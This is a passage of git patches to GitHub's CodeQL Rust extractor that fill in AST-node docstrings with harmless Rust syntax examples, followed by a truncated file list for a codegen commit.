+1819,11 @@ class _: @annotate(Static) class _: """ - A Static. For example: + A static item declaration. + + For example: ```rust - todo!() + static X: i32 = 42; ``` """ @@ -1623,9 +1831,15 @@ class _: @annotate(StmtList) class _: """ - A StmtList. For example: + A list of statements in a block. + + For example: ```rust - todo!() + { + let x = 1; + let y = 2; + } + // ^^^^^^^^^ ``` """ @@ -1635,7 +1849,10 @@ class _: """ A Struct. For example: ```rust - todo!() + struct Point { + x: i32, + y: i32, + } ``` """ field_list: _ | ql.db_table_name("struct_field_lists_") @@ -1644,9 +1861,16 @@ class _: @annotate(TokenTree) class _: """ - A TokenTree. For example: + A token tree in a macro definition or invocation. + + For example: ```rust - todo!() + println!("{} {}!", "Hello", "world"); + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + ``` + ``` + macro_rules! foo { ($x:expr) => { $x + 1 }; } + // ^^^^^^^^^^^^^^^^^^^^^^^ ``` """ @@ -1671,9 +1895,11 @@ class _: @annotate(TraitAlias) class _: """ - A TraitAlias. For example: + A trait alias. + + For example: ```rust - todo!() + trait Foo = Bar + Baz; ``` """ @@ -1681,9 +1907,12 @@ class _: @annotate(TryExpr, cfg=True) class _: """ - A TryExpr. For example: + A try expression using the `?` operator. + + For example: ```rust - todo!() + let x = foo()?; + // ^ ``` """ @@ -1691,9 +1920,12 @@ class _: @annotate(TupleField) class _: """ - A TupleField. For example: + A field in a tuple struct or tuple enum variant. + + For example: ```rust - todo!() + struct S(i32, String); + // ^^^ ^^^^^^ ``` """ @@ -1701,9 +1933,12 @@ class _: @annotate(TupleFieldList) class _: """ - A TupleFieldList. For example: + A list of fields in a tuple struct or tuple enum variant. + + For example: ```rust - todo!() + struct S(i32, String); + // ^^^^^^^^^^^^^ ``` """ @@ -1711,9 +1946,12 @@ class _: @annotate(TupleTypeRepr) class _: """ - A TupleTypeRepr. For example: + A tuple type. + + For example: ```rust - todo!() + let t: (i32, String); + // ^^^^^^^^^^^^^ ``` """ @@ -1736,9 +1974,12 @@ class _: @annotate(TypeArg) class _: """ - A TypeArg. For example: + A type argument in a generic argument list. + + For example: ```rust - todo!() + Foo:: + // ^^^ ``` """ @@ -1746,9 +1987,12 @@ class _: @annotate(TypeBound) class _: """ - A TypeBound. For example: + A type bound in a trait or generic parameter. + + For example: ```rust - todo!() + fn foo(t: T) {} + // ^^^^^ ``` """ @@ -1756,9 +2000,12 @@ class _: @annotate(TypeBoundList) class _: """ - A TypeBoundList. For example: + A list of type bounds. + + For example: ```rust - todo!() + fn foo(t: T) {} + // ^^^^^^^^^^^^^ ``` """ @@ -1766,9 +2013,12 @@ class _: @annotate(TypeParam) class _: """ - A TypeParam. For example: + A type parameter in a generic parameter list. + + For example: ```rust - todo!() + fn foo(t: T) {} + // ^ ``` """ @@ -1776,9 +2026,11 @@ class _: @annotate(Union) class _: """ - A Union. For example: + A union declaration. + + For example: ```rust - todo!() + union U { f1: u32, f2: f32 } ``` """ @@ -1786,9 +2038,9 @@ class _: @annotate(Use) class _: """ - A Use. For example: + A `use` statement. For example: ```rust - todo!() + use std::collections::HashMap; ``` """ @@ -1796,7 +2048,7 @@ class _: @annotate(UseTree) class _: """ - A UseTree. For example: + A `use` tree, ie the part after the `use` keyword in a `use` statement. For example: ```rust use std::collections::HashMap; use std::collections::*; @@ -1809,9 +2061,12 @@ class _: @annotate(UseTreeList) class _: """ - A UseTreeList. For example: + A list of use trees in a use declaration. + + For example: ```rust - todo!() + use std::{fs, io}; + // ^^^^^^^ ``` """ @@ -1819,9 +2074,12 @@ class _: @annotate(Variant, add_bases=(Addressable,)) class _: """ - A Variant. For example: + A variant in an enum declaration. + + For example: ```rust - todo!() + enum E { A, B(i32), C { x: i32 } } + // ^ ^^^^^^ ^^^^^^^^^^^^ ``` """ @@ -1829,9 +2087,12 @@ class _: @annotate(VariantList) class _: """ - A VariantList. For example: + A list of variants in an enum declaration. + + For example: ```rust - todo!() + enum E { A, B, C } + // ^^^^^^^^^^^ ``` """ @@ -1839,9 +2100,12 @@ class _: @annotate(Visibility) class _: """ - A Visibility. For example: + A visibility modifier. + + For example: ```rust - todo!() + pub struct S; + //^^^ ``` """ @@ -1849,9 +2113,12 @@ class _: @annotate(WhereClause) class _: """ - A WhereClause. For example: + A where clause in a generic declaration. + + For example: ```rust - todo!() + fn foo(t: T) where T: Debug {} + // ^^^^^^^^^^^^^^ ``` """ @@ -1859,9 +2126,12 @@ class _: @annotate(WherePred) class _: """ - A WherePred. For example: + A predicate in a where clause. + + For example: ```rust - todo!() + fn foo(t: T, u: U) where T: Debug, U: Clone {} + // ^^^^^^^^ ^^^^^^^^ ``` """ @@ -1869,9 +2139,13 @@ class _: @annotate(WhileExpr, replace_bases={Expr: LoopingExpr}, cfg=True) class _: """ - A WhileExpr. For example: + A while loop expression. + + For example: ```rust - todo!() + while x < 10 { + x += 1; + } ``` """ label: drop From 0dd0f9a22a2468aff51bcc6d2e8abfd6890132c1 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Thu, 29 May 2025 19:23:25 +0200 Subject: [PATCH 449/535] Rust: add missing AST nodes to annotations.py --- rust/schema/annotations.py | 274 +++++++++++++++++++++++++++++++------ 1 file changed, 230 insertions(+), 44 deletions(-) diff --git a/rust/schema/annotations.py b/rust/schema/annotations.py index 6e76e92d7987..7c65ab5b9c06 100644 --- a/rust/schema/annotations.py +++ b/rust/schema/annotations.py @@ -1344,30 +1344,6 @@ class _: macro_call_expansion: optional[AstNode] | child | rust.detach -@annotate(MacroDef) -class _: - """ - A macro definition. - - For example: - ```rust - todo!(); - - - ``` - """ - - -@annotate(MacroExpr, cfg=True) -class _: - """ - A MacroExpr. For example: - ```rust - todo!() - ``` - """ - - @annotate(MacroItems) @rust.doc_test_signature(None) class _: @@ -1389,16 +1365,6 @@ class _: """ -@annotate(MacroPat, cfg=True) -class _: - """ - A MacroPat. For example: - ```rust - todo!() - ``` - """ - - @annotate(MacroRules) class _: """ @@ -1551,16 +1517,6 @@ class _: type_repr: drop -@annotate(ParamList) -class _: - """ - A ParamList. For example: - ```rust - todo!() - ``` - """ - - @annotate(ParenExpr) class _: """ @@ -2226,3 +2182,233 @@ class FormatArgument(Locatable): """ parent: Format variable: optional[FormatTemplateVariableAccess] | child + + +@annotate(MacroDef) +class _: + """ + A macro definition using the `macro_rules!` or similar syntax. + + For example: + ```rust + macro_rules! my_macro { + () => { + println!("This is a macro!"); + }; + } + ``` + """ + + +@annotate(MacroExpr, cfg=True) +class _: + """ + A macro expression, representing the invocation of a macro that produces an expression. + + For example: + ```rust + let y = vec![1, 2, 3]; + ``` + """ + + +@annotate(MacroPat, cfg=True) +class _: + """ + A macro pattern, representing the invocation of a macro that produces a pattern. + + For example: + ```rust + match x { + my_macro!() => "matched", + _ => "not matched", + } + ``` + """ + + +@annotate(ParamList) +class _: + """ + A list of parameters in a function, method, or closure declaration. + + For example: + ```rust + fn foo(x: i32, y: i32) {} + // ^^^^^^^^^^^^^ + ``` + """ + + +@annotate(AsmDirSpec) +class _: + """ + An inline assembly directive specification. + + For example: + ```rust + asm!("nop"); + // ^^^^^ + ``` + """ + + +@annotate(AsmOperandExpr) +class _: + """ + An operand expression in an inline assembly block. + + For example: + ```rust + asm!("mov {0}, {1}", out(reg) x, in(reg) y); + // ^ ^ + ``` + """ + + +@annotate(AsmOption) +class _: + """ + An option in an inline assembly block. + + For example: + ```rust + asm!("", options(nostack, nomem)); + // ^^^^^^^^^^^^^^^^ + ``` + """ + + +@annotate(AsmRegSpec) +class _: + """ + A register specification in an inline assembly block. + + For example: + ```rust + asm!("mov {0}, {1}", out("eax") x, in("ebx") y); + // ^^^ ^^^ + ``` + """ + + +@annotate(AsmClobberAbi) +class _: + """ + A clobbered ABI in an inline assembly block. + + For example: + ```rust + asm!("", clobber_abi("C")); + // ^^^^^^^^^^^^^^^^ + ``` + """ + + +@annotate(AsmConst) +class _: + """ + A constant operand in an inline assembly block. + + For example: + ```rust + asm!("mov eax, {const}", const 42); + // ^^^^^^^ + ``` + """ + + +@annotate(AsmLabel) +class _: + """ + A label in an inline assembly block. + + For example: + ```rust + asm!("jmp {label}", label = sym my_label); + // ^^^^^^^^^^^^^^^^^^^^^^ + ``` + """ + + +@annotate(AsmOperandNamed) +class _: + """ + A named operand in an inline assembly block. + + For example: + ```rust + asm!("mov {out}, {in}", out = out(reg) x, in = in(reg) y); + // ^^^^^ ^^^^ + ``` + """ + + +@annotate(AsmOptionsList) +class _: + """ + A list of options in an inline assembly block. + + For example: + ```rust + asm!("", options(nostack, nomem)); + // ^^^^^^^^^^^^^^^^ + ``` + """ + + +@annotate(AsmRegOperand) +class _: + """ + A register operand in an inline assembly block. + + For example: + ```rust + asm!("mov {0}, {1}", out(reg) x, in(reg) y); + // ^ ^ + ``` + """ + + +@annotate(AsmSym) +class _: + """ + A symbol operand in an inline assembly block. + + For example: + ```rust + asm!("call {sym}", sym = sym my_function); + // ^^^^^^^^^^^^^^^^^^^^^^ + ``` + """ + + +@annotate(UseBoundGenericArgs) +class _: + """ + A use<..> bound to control which generic parameters are captured by an impl Trait return type. + + For example: + ```rust + pub fn hello<'a, T, const N: usize>() -> impl Sized + use<'a, T, N> {} + // ^^^^^^^^ + ``` + """ + + +@annotate(ParenthesizedArgList) +class _: + """ + A parenthesized argument list as used in function traits. + + For example: + ```rust + fn call_with_42(f: F) -> i32 + where + F: Fn(i32, String) -> i32, + // ^^^^^^^^^^^ + { + f(42, "Don't panic".to_string()) + } + ``` + """ From f0db47b571d963676ff83259fec45fd25c69841c Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Thu, 29 May 2025 18:58:01 +0200 Subject: [PATCH 450/535] Rust: run codegen --- rust/ql/.generated.list | 580 +++++++------- rust/ql/.gitattributes | 40 +- .../internal/generated/CfgNodes.qll | 59 +- rust/ql/lib/codeql/rust/elements/Abi.qll | 7 +- rust/ql/lib/codeql/rust/elements/ArgList.qll | 7 +- .../codeql/rust/elements/ArrayTypeRepr.qll | 7 +- .../codeql/rust/elements/AsmClobberAbi.qll | 9 + rust/ql/lib/codeql/rust/elements/AsmConst.qll | 9 + .../lib/codeql/rust/elements/AsmDirSpec.qll | 9 + rust/ql/lib/codeql/rust/elements/AsmLabel.qll | 9 + .../codeql/rust/elements/AsmOperandExpr.qll | 9 + .../codeql/rust/elements/AsmOperandNamed.qll | 9 + .../ql/lib/codeql/rust/elements/AsmOption.qll | 9 + .../codeql/rust/elements/AsmOptionsList.qll | 9 + .../codeql/rust/elements/AsmRegOperand.qll | 9 + .../lib/codeql/rust/elements/AsmRegSpec.qll | 9 + rust/ql/lib/codeql/rust/elements/AsmSym.qll | 9 + .../ql/lib/codeql/rust/elements/AssocItem.qll | 7 +- .../codeql/rust/elements/AssocItemList.qll | 2 +- .../lib/codeql/rust/elements/AssocTypeArg.qll | 7 +- rust/ql/lib/codeql/rust/elements/Attr.qll | 8 +- .../codeql/rust/elements/ClosureBinder.qll | 7 +- rust/ql/lib/codeql/rust/elements/Const.qll | 6 +- rust/ql/lib/codeql/rust/elements/ConstArg.qll | 7 +- .../lib/codeql/rust/elements/ConstParam.qll | 7 +- .../codeql/rust/elements/DynTraitTypeRepr.qll | 7 +- rust/ql/lib/codeql/rust/elements/Enum.qll | 6 +- .../lib/codeql/rust/elements/ExternBlock.qll | 8 +- .../lib/codeql/rust/elements/ExternCrate.qll | 6 +- .../lib/codeql/rust/elements/ExternItem.qll | 9 +- .../codeql/rust/elements/ExternItemList.qll | 9 +- .../ql/lib/codeql/rust/elements/FieldList.qll | 9 +- .../codeql/rust/elements/FnPtrTypeRepr.qll | 7 +- rust/ql/lib/codeql/rust/elements/ForExpr.qll | 8 +- .../lib/codeql/rust/elements/ForTypeRepr.qll | 7 +- .../lib/codeql/rust/elements/GenericArg.qll | 7 +- .../lib/codeql/rust/elements/GenericParam.qll | 7 +- rust/ql/lib/codeql/rust/elements/Impl.qll | 8 +- .../rust/elements/ImplTraitTypeRepr.qll | 7 +- .../codeql/rust/elements/InferTypeRepr.qll | 7 +- rust/ql/lib/codeql/rust/elements/Item.qll | 8 +- rust/ql/lib/codeql/rust/elements/ItemList.qll | 9 +- rust/ql/lib/codeql/rust/elements/LetElse.qll | 9 +- rust/ql/lib/codeql/rust/elements/Lifetime.qll | 7 +- .../lib/codeql/rust/elements/LifetimeArg.qll | 7 +- .../codeql/rust/elements/LifetimeParam.qll | 7 +- .../ql/lib/codeql/rust/elements/MacroCall.qll | 7 +- rust/ql/lib/codeql/rust/elements/MacroDef.qll | 10 +- .../ql/lib/codeql/rust/elements/MacroExpr.qll | 6 +- rust/ql/lib/codeql/rust/elements/MacroPat.qll | 9 +- .../lib/codeql/rust/elements/MacroRules.qll | 8 +- .../codeql/rust/elements/MacroTypeRepr.qll | 7 +- .../lib/codeql/rust/elements/MatchArmList.qll | 11 +- .../lib/codeql/rust/elements/MatchGuard.qll | 10 +- rust/ql/lib/codeql/rust/elements/Meta.qll | 7 +- rust/ql/lib/codeql/rust/elements/Name.qll | 7 +- rust/ql/lib/codeql/rust/elements/NameRef.qll | 7 +- .../codeql/rust/elements/NeverTypeRepr.qll | 7 +- .../ql/lib/codeql/rust/elements/ParamList.qll | 7 +- .../ql/lib/codeql/rust/elements/ParenExpr.qll | 7 +- rust/ql/lib/codeql/rust/elements/ParenPat.qll | 7 +- .../codeql/rust/elements/ParenTypeRepr.qll | 7 +- .../rust/elements/ParenthesizedArgList.qll | 14 + .../lib/codeql/rust/elements/PathSegment.qll | 6 + .../lib/codeql/rust/elements/PathTypeRepr.qll | 6 +- .../lib/codeql/rust/elements/PtrTypeRepr.qll | 8 +- .../lib/codeql/rust/elements/RefTypeRepr.qll | 8 +- rust/ql/lib/codeql/rust/elements/Rename.qll | 7 +- rust/ql/lib/codeql/rust/elements/RestPat.qll | 7 +- .../lib/codeql/rust/elements/RetTypeRepr.qll | 7 +- .../codeql/rust/elements/ReturnTypeSyntax.qll | 17 +- .../codeql/rust/elements/SliceTypeRepr.qll | 7 +- .../lib/codeql/rust/elements/SourceFile.qll | 7 +- rust/ql/lib/codeql/rust/elements/Static.qll | 6 +- rust/ql/lib/codeql/rust/elements/StmtList.qll | 10 +- rust/ql/lib/codeql/rust/elements/Struct.qll | 5 +- .../rust/elements/StructExprFieldList.qll | 7 +- .../lib/codeql/rust/elements/StructField.qll | 7 +- .../codeql/rust/elements/StructFieldList.qll | 7 +- .../rust/elements/StructPatFieldList.qll | 7 +- .../ql/lib/codeql/rust/elements/TokenTree.qll | 11 +- .../lib/codeql/rust/elements/TraitAlias.qll | 6 +- rust/ql/lib/codeql/rust/elements/TryExpr.qll | 7 +- .../lib/codeql/rust/elements/TupleField.qll | 7 +- .../codeql/rust/elements/TupleFieldList.qll | 7 +- .../codeql/rust/elements/TupleTypeRepr.qll | 7 +- rust/ql/lib/codeql/rust/elements/TypeArg.qll | 7 +- .../ql/lib/codeql/rust/elements/TypeBound.qll | 7 +- .../codeql/rust/elements/TypeBoundList.qll | 7 +- .../ql/lib/codeql/rust/elements/TypeParam.qll | 7 +- rust/ql/lib/codeql/rust/elements/Union.qll | 6 +- rust/ql/lib/codeql/rust/elements/Use.qll | 4 +- .../rust/elements/UseBoundGenericArgs.qll | 9 + rust/ql/lib/codeql/rust/elements/UseTree.qll | 2 +- .../lib/codeql/rust/elements/UseTreeList.qll | 7 +- rust/ql/lib/codeql/rust/elements/Variant.qll | 7 +- .../lib/codeql/rust/elements/VariantList.qll | 7 +- .../lib/codeql/rust/elements/Visibility.qll | 7 +- .../lib/codeql/rust/elements/WhereClause.qll | 7 +- .../ql/lib/codeql/rust/elements/WherePred.qll | 7 +- .../ql/lib/codeql/rust/elements/WhileExpr.qll | 8 +- .../codeql/rust/elements/internal/AbiImpl.qll | 7 +- .../rust/elements/internal/ArgListImpl.qll | 7 +- .../elements/internal/ArrayTypeReprImpl.qll | 7 +- .../elements/internal/AsmClobberAbiImpl.qll | 9 + .../rust/elements/internal/AsmConstImpl.qll | 9 + .../rust/elements/internal/AsmDirSpecImpl.qll | 9 + .../rust/elements/internal/AsmLabelImpl.qll | 9 + .../elements/internal/AsmOperandExprImpl.qll | 9 + .../elements/internal/AsmOperandNamedImpl.qll | 9 + .../rust/elements/internal/AsmOptionImpl.qll | 9 + .../elements/internal/AsmOptionsListImpl.qll | 9 + .../elements/internal/AsmRegOperandImpl.qll | 9 + .../rust/elements/internal/AsmRegSpecImpl.qll | 9 + .../rust/elements/internal/AsmSymImpl.qll | 9 + .../rust/elements/internal/AssocItemImpl.qll | 7 +- .../elements/internal/AssocItemListImpl.qll | 2 +- .../elements/internal/AssocTypeArgImpl.qll | 7 +- .../rust/elements/internal/AttrImpl.qll | 8 +- .../elements/internal/ClosureBinderImpl.qll | 7 +- .../rust/elements/internal/ConstArgImpl.qll | 7 +- .../rust/elements/internal/ConstImpl.qll | 6 +- .../rust/elements/internal/ConstParamImpl.qll | 7 +- .../rust/elements/internal/CrateImpl.qll | 7 + .../internal/DynTraitTypeReprImpl.qll | 7 +- .../rust/elements/internal/EnumImpl.qll | 6 +- .../elements/internal/ExternBlockImpl.qll | 8 +- .../elements/internal/ExternCrateImpl.qll | 6 +- .../rust/elements/internal/ExternItemImpl.qll | 9 +- .../elements/internal/ExternItemListImpl.qll | 9 +- .../rust/elements/internal/FieldListImpl.qll | 9 +- .../elements/internal/FnPtrTypeReprImpl.qll | 7 +- .../rust/elements/internal/ForExprImpl.qll | 8 +- .../elements/internal/ForTypeReprImpl.qll | 7 +- .../rust/elements/internal/GenericArgImpl.qll | 7 +- .../elements/internal/GenericParamImpl.qll | 7 +- .../rust/elements/internal/ImplImpl.qll | 8 +- .../internal/ImplTraitTypeReprImpl.qll | 7 +- .../elements/internal/InferTypeReprImpl.qll | 7 +- .../rust/elements/internal/ItemImpl.qll | 8 +- .../rust/elements/internal/ItemListImpl.qll | 9 +- .../rust/elements/internal/LetElseImpl.qll | 9 +- .../elements/internal/LifetimeArgImpl.qll | 7 +- .../rust/elements/internal/LifetimeImpl.qll | 7 +- .../elements/internal/LifetimeParamImpl.qll | 7 +- .../rust/elements/internal/MacroCallImpl.qll | 7 +- .../rust/elements/internal/MacroDefImpl.qll | 10 +- .../rust/elements/internal/MacroExprImpl.qll | 6 +- .../rust/elements/internal/MacroPatImpl.qll | 9 +- .../rust/elements/internal/MacroRulesImpl.qll | 8 +- .../elements/internal/MacroTypeReprImpl.qll | 7 +- .../elements/internal/MatchArmListImpl.qll | 11 +- .../rust/elements/internal/MatchGuardImpl.qll | 10 +- .../rust/elements/internal/MetaImpl.qll | 7 +- .../rust/elements/internal/NameImpl.qll | 7 +- .../rust/elements/internal/NameRefImpl.qll | 7 +- .../elements/internal/NeverTypeReprImpl.qll | 7 +- .../rust/elements/internal/ParamListImpl.qll | 7 +- .../rust/elements/internal/ParenExprImpl.qll | 7 +- .../rust/elements/internal/ParenPatImpl.qll | 7 +- .../elements/internal/ParenTypeReprImpl.qll | 7 +- .../internal/ParenthesizedArgListImpl.qll | 14 + .../elements/internal/PathSegmentImpl.qll | 6 + .../elements/internal/PathTypeReprImpl.qll | 6 +- .../elements/internal/PtrTypeReprImpl.qll | 8 +- .../elements/internal/RefTypeReprImpl.qll | 8 +- .../rust/elements/internal/RenameImpl.qll | 7 +- .../rust/elements/internal/RestPatImpl.qll | 7 +- .../elements/internal/RetTypeReprImpl.qll | 7 +- .../internal/ReturnTypeSyntaxImpl.qll | 17 +- .../elements/internal/SliceTypeReprImpl.qll | 7 +- .../rust/elements/internal/SourceFileImpl.qll | 7 +- .../rust/elements/internal/StaticImpl.qll | 6 +- .../rust/elements/internal/StmtListImpl.qll | 10 +- .../internal/StructExprFieldListImpl.qll | 7 +- .../elements/internal/StructFieldImpl.qll | 7 +- .../elements/internal/StructFieldListImpl.qll | 7 +- .../rust/elements/internal/StructImpl.qll | 5 +- .../internal/StructPatFieldListImpl.qll | 7 +- .../rust/elements/internal/TokenTreeImpl.qll | 11 +- .../rust/elements/internal/TraitAliasImpl.qll | 6 +- .../rust/elements/internal/TryExprImpl.qll | 7 +- .../rust/elements/internal/TupleFieldImpl.qll | 7 +- .../elements/internal/TupleFieldListImpl.qll | 7 +- .../elements/internal/TupleTypeReprImpl.qll | 7 +- .../rust/elements/internal/TypeArgImpl.qll | 7 +- .../rust/elements/internal/TypeBoundImpl.qll | 7 +- .../elements/internal/TypeBoundListImpl.qll | 7 +- .../rust/elements/internal/TypeParamImpl.qll | 7 +- .../rust/elements/internal/UnionImpl.qll | 6 +- .../internal/UseBoundGenericArgsImpl.qll | 9 + .../codeql/rust/elements/internal/UseImpl.qll | 4 +- .../rust/elements/internal/UseTreeImpl.qll | 2 +- .../elements/internal/UseTreeListImpl.qll | 7 +- .../rust/elements/internal/VariantImpl.qll | 7 +- .../elements/internal/VariantListImpl.qll | 7 +- .../rust/elements/internal/VisibilityImpl.qll | 7 +- .../elements/internal/WhereClauseImpl.qll | 7 +- .../rust/elements/internal/WherePredImpl.qll | 7 +- .../rust/elements/internal/WhileExprImpl.qll | 8 +- .../rust/elements/internal/generated/Abi.qll | 7 +- .../elements/internal/generated/ArgList.qll | 7 +- .../internal/generated/ArrayTypeRepr.qll | 7 +- .../internal/generated/AsmClobberAbi.qll | 7 + .../elements/internal/generated/AsmConst.qll | 7 + .../internal/generated/AsmDirSpec.qll | 7 + .../elements/internal/generated/AsmLabel.qll | 7 + .../internal/generated/AsmOperandExpr.qll | 7 + .../internal/generated/AsmOperandNamed.qll | 7 + .../elements/internal/generated/AsmOption.qll | 7 + .../internal/generated/AsmOptionsList.qll | 7 + .../internal/generated/AsmRegOperand.qll | 7 + .../internal/generated/AsmRegSpec.qll | 7 + .../elements/internal/generated/AsmSym.qll | 7 + .../elements/internal/generated/AssocItem.qll | 7 +- .../internal/generated/AssocItemList.qll | 2 +- .../internal/generated/AssocTypeArg.qll | 7 +- .../rust/elements/internal/generated/Attr.qll | 8 +- .../internal/generated/ClosureBinder.qll | 7 +- .../elements/internal/generated/Const.qll | 6 +- .../elements/internal/generated/ConstArg.qll | 7 +- .../internal/generated/ConstParam.qll | 7 +- .../internal/generated/DynTraitTypeRepr.qll | 7 +- .../rust/elements/internal/generated/Enum.qll | 6 +- .../internal/generated/ExternBlock.qll | 8 +- .../internal/generated/ExternCrate.qll | 6 +- .../internal/generated/ExternItem.qll | 9 +- .../internal/generated/ExternItemList.qll | 9 +- .../elements/internal/generated/FieldList.qll | 9 +- .../internal/generated/FnPtrTypeRepr.qll | 7 +- .../elements/internal/generated/ForExpr.qll | 8 +- .../internal/generated/ForTypeRepr.qll | 7 +- .../internal/generated/GenericArg.qll | 7 +- .../internal/generated/GenericParam.qll | 7 +- .../rust/elements/internal/generated/Impl.qll | 8 +- .../internal/generated/ImplTraitTypeRepr.qll | 7 +- .../internal/generated/InferTypeRepr.qll | 7 +- .../rust/elements/internal/generated/Item.qll | 8 +- .../elements/internal/generated/ItemList.qll | 9 +- .../elements/internal/generated/LetElse.qll | 9 +- .../elements/internal/generated/Lifetime.qll | 7 +- .../internal/generated/LifetimeArg.qll | 7 +- .../internal/generated/LifetimeParam.qll | 7 +- .../elements/internal/generated/MacroCall.qll | 7 +- .../elements/internal/generated/MacroDef.qll | 10 +- .../elements/internal/generated/MacroExpr.qll | 6 +- .../elements/internal/generated/MacroPat.qll | 9 +- .../internal/generated/MacroRules.qll | 8 +- .../internal/generated/MacroTypeRepr.qll | 7 +- .../internal/generated/MatchArmList.qll | 11 +- .../internal/generated/MatchGuard.qll | 10 +- .../rust/elements/internal/generated/Meta.qll | 7 +- .../rust/elements/internal/generated/Name.qll | 7 +- .../elements/internal/generated/NameRef.qll | 7 +- .../internal/generated/NeverTypeRepr.qll | 7 +- .../elements/internal/generated/ParamList.qll | 7 +- .../elements/internal/generated/ParenExpr.qll | 7 +- .../elements/internal/generated/ParenPat.qll | 7 +- .../internal/generated/ParenTypeRepr.qll | 7 +- .../generated/ParenthesizedArgList.qll | 12 + .../internal/generated/PathSegment.qll | 6 + .../internal/generated/PathTypeRepr.qll | 6 +- .../internal/generated/PtrTypeRepr.qll | 8 +- .../rust/elements/internal/generated/Raw.qll | 715 ++++++++++++++---- .../internal/generated/RefTypeRepr.qll | 8 +- .../elements/internal/generated/Rename.qll | 7 +- .../elements/internal/generated/RestPat.qll | 7 +- .../internal/generated/RetTypeRepr.qll | 7 +- .../internal/generated/ReturnTypeSyntax.qll | 17 +- .../internal/generated/SliceTypeRepr.qll | 7 +- .../internal/generated/SourceFile.qll | 7 +- .../elements/internal/generated/Static.qll | 6 +- .../elements/internal/generated/StmtList.qll | 10 +- .../elements/internal/generated/Struct.qll | 5 +- .../generated/StructExprFieldList.qll | 7 +- .../internal/generated/StructField.qll | 7 +- .../internal/generated/StructFieldList.qll | 7 +- .../internal/generated/StructPatFieldList.qll | 7 +- .../elements/internal/generated/TokenTree.qll | 11 +- .../internal/generated/TraitAlias.qll | 6 +- .../elements/internal/generated/TryExpr.qll | 7 +- .../internal/generated/TupleField.qll | 7 +- .../internal/generated/TupleFieldList.qll | 7 +- .../internal/generated/TupleTypeRepr.qll | 7 +- .../elements/internal/generated/TypeArg.qll | 7 +- .../elements/internal/generated/TypeBound.qll | 7 +- .../internal/generated/TypeBoundList.qll | 7 +- .../elements/internal/generated/TypeParam.qll | 7 +- .../elements/internal/generated/Union.qll | 6 +- .../rust/elements/internal/generated/Use.qll | 4 +- .../generated/UseBoundGenericArgs.qll | 7 + .../elements/internal/generated/UseTree.qll | 2 +- .../internal/generated/UseTreeList.qll | 7 +- .../elements/internal/generated/Variant.qll | 7 +- .../internal/generated/VariantList.qll | 7 +- .../internal/generated/Visibility.qll | 7 +- .../internal/generated/WhereClause.qll | 7 +- .../elements/internal/generated/WherePred.qll | 7 +- .../elements/internal/generated/WhileExpr.qll | 8 +- .../generated/.generated_tests.list | 167 ++-- .../extractor-tests/generated/.gitattributes | 13 + .../extractor-tests/generated/Abi/gen_abi.rs | 7 +- .../generated/ArgList/gen_arg_list.rs | 7 +- .../ArrayTypeRepr/gen_array_type_repr.rs | 7 +- .../generated/AsmClobberAbi/AsmClobberAbi.ql | 7 + .../AsmClobberAbi/MISSING_SOURCE.txt | 4 - .../AsmClobberAbi/gen_asm_clobber_abi.rs | 9 + .../generated/AsmConst/AsmConst.ql | 11 + .../generated/AsmConst/AsmConst_getExpr.ql | 7 + .../generated/AsmConst/MISSING_SOURCE.txt | 4 - .../generated/AsmConst/gen_asm_const.rs | 9 + .../generated/AsmDirSpec/AsmDirSpec.ql | 7 + .../generated/AsmDirSpec/MISSING_SOURCE.txt | 4 - .../generated/AsmDirSpec/gen_asm_dir_spec.rs | 9 + .../generated/AsmLabel/AsmLabel.ql | 10 + .../AsmLabel/AsmLabel_getBlockExpr.ql | 7 + .../generated/AsmLabel/MISSING_SOURCE.txt | 4 - .../generated/AsmLabel/gen_asm_label.rs | 9 + .../AsmOperandExpr/AsmOperandExpr.ql | 11 + .../AsmOperandExpr_getInExpr.ql | 7 + .../AsmOperandExpr_getOutExpr.ql | 7 + .../AsmOperandExpr/MISSING_SOURCE.txt | 4 - .../AsmOperandExpr/gen_asm_operand_expr.rs | 9 + .../AsmOperandNamed/AsmOperandNamed.ql | 11 + .../AsmOperandNamed_getAsmOperand.ql | 7 + .../AsmOperandNamed_getName.ql | 7 + .../AsmOperandNamed/MISSING_SOURCE.txt | 4 - .../AsmOperandNamed/gen_asm_operand_named.rs | 9 + .../generated/AsmOption/AsmOption.ql | 10 + .../generated/AsmOption/MISSING_SOURCE.txt | 4 - .../generated/AsmOption/gen_asm_option.rs | 9 + .../AsmOptionsList/AsmOptionsList.ql | 10 + .../AsmOptionsList_getAsmOption.ql | 7 + .../AsmOptionsList/MISSING_SOURCE.txt | 4 - .../AsmOptionsList/gen_asm_options_list.rs | 9 + .../generated/AsmRegOperand/AsmRegOperand.ql | 13 + .../AsmRegOperand_getAsmDirSpec.ql | 7 + .../AsmRegOperand_getAsmOperandExpr.ql | 7 + .../AsmRegOperand_getAsmRegSpec.ql | 7 + .../AsmRegOperand/MISSING_SOURCE.txt | 4 - .../AsmRegOperand/gen_asm_reg_operand.rs | 9 + .../generated/AsmRegSpec/AsmRegSpec.ql | 10 + .../AsmRegSpec/AsmRegSpec_getIdentifier.ql | 7 + .../generated/AsmRegSpec/MISSING_SOURCE.txt | 4 - .../generated/AsmRegSpec/gen_asm_reg_spec.rs | 9 + .../generated/AsmSym/AsmSym.ql | 10 + .../generated/AsmSym/AsmSym_getPath.ql | 7 + .../generated/AsmSym/MISSING_SOURCE.txt | 4 - .../generated/AsmSym/gen_asm_sym.rs | 9 + .../AssocTypeArg/gen_assoc_type_arg.rs | 7 +- .../generated/Attr/gen_attr.rs | 8 +- .../ClosureBinder/gen_closure_binder.rs | 7 +- .../generated/Const/gen_const.rs | 6 +- .../generated/ConstArg/gen_const_arg.rs | 7 +- .../generated/ConstParam/gen_const_param.rs | 7 +- .../gen_dyn_trait_type_repr.rs | 7 +- .../generated/Enum/gen_enum.rs | 6 +- .../generated/ExternBlock/gen_extern_block.rs | 8 +- .../generated/ExternCrate/gen_extern_crate.rs | 6 +- .../ExternItemList/gen_extern_item_list.rs | 9 +- .../FnPtrTypeRepr/gen_fn_ptr_type_repr.rs | 7 +- .../generated/ForExpr/gen_for_expr.rs | 8 +- .../ForTypeRepr/gen_for_type_repr.rs | 7 +- .../generated/Impl/gen_impl.rs | 8 +- .../gen_impl_trait_type_repr.rs | 7 +- .../InferTypeRepr/gen_infer_type_repr.rs | 7 +- .../generated/ItemList/gen_item_list.rs | 9 +- .../generated/LetElse/gen_let_else.rs | 9 +- .../generated/Lifetime/gen_lifetime.rs | 7 +- 